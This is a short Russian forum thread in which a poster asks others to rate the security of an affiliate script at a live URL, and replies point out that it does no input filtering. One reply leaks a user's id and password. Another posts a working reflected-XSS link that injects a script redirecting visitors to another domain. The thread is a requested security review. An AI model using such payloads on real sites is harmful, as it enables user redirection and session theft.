Оцените скрипт

Я написал основу скрипта партнëрки на файлах,но не знаю,на сколько она безопасна.
http://wmbase.h2m.ru/altpartner

Если все фильтруется. Все будет гуд

фильтрации 0

Добавлено через 03:48 сек.
посмотри на данные юзера с id 18, открытая xss
id 18, пасс 11111

а что за партнерка то?

[url=http://wmbase.h2m.ru/altpartner/anketa.php?uid=%22%3E%3Cscript%3EsetTimeout('location.replace(%5C%22http://www.dimavip.ru/portfolio%5C%22)',%201500);%3C/script%3E]Ваши куки в наших руках[/url]

5, козэл